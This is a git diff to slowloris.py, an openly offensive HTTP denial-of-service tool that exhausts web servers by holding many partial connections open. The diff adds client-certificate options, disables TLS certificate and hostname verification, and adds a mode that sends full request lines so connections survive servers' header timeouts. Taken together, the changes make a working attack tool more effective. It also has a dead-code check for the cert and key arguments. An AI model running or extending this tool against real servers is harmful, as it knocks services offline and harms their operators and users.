diff --git a/slowloris.py b/slowloris.py index 554a503..4bafe42 100755 --- a/slowloris.py +++ b/slowloris.py @@ -51,7 +51,28 @@ "--https", dest="https", action="store_true", - help="Use HTTPS for the requests", + help="use https for the requests", +) +parser.add_argument( + "--cert", + help="Use SSL client certificate (PEM)", + default=None, +) +parser.add_argument( + "--key", + help="Use SSL client private key (PEM)", + default=None, +) +parser.add_argument( + "--password", + help="Password for private key", + default="", +) +parser.add_argument( + "--makerequest", + dest="makerequest", + action="store_true", + help="Send full http request (useful when small request body/header timeout is set but keep-alive is set)", ) parser.add_argument( "--sleeptime", @@ -75,6 +96,8 @@ parser.print_help() sys.exit(1) + + if args.useproxy: # Tries to import to external "socks" library # and monkey patches socket.socket to connect over @@ -103,6 +126,13 @@ level=logging.INFO, ) +if None not in [args.cert, args.key]: + if args.cert is None or args.key is None: + print("Supply both parameters (--cert & --key) for connection with client certificate !") + else: + logging.info("Using client certificate.") + + def send_line(self, line): line = f"{line}\r\n" @@ -152,13 +182,16 @@ def send_header(self, name, value): setattr(socket.socket, "send_line", send_line) setattr(socket.socket, "send_header", send_header) - def init_socket(ip): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) if args.https: ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + if None not in [args.cert, args.key]: + ctx.load_cert_chain(args.cert, args.key, args.password) s = ctx.wrap_socket(s, server_hostname=args.host) s.connect((ip, args.port)) @@ -171,6 +204,9 @@ def init_socket(ip): s.send_header("User-Agent", ua) s.send_header("Accept-language", "en-US,en,q=0.5") + if args.makerequest: + s.send_header("Host", args.host) + s.send_line("\r\n\r\n") return s @@ -197,8 +233,13 @@ def main(): ) for s in list(list_of_sockets): try: + if args.makerequest: + s.send("\r\n\r\n".encode("utf-8")) + s.send("GET / HTTP/1.1\r\n".encode("utf-8")) + s.send(f"Host: {args.host}\r\n".encode("utf-8")) s.send_header("X-a", random.randint(1, 5000)) - except socket.error: + + except socket.error as e: list_of_sockets.remove(s) for _ in range(socket_count - len(list_of_sockets)):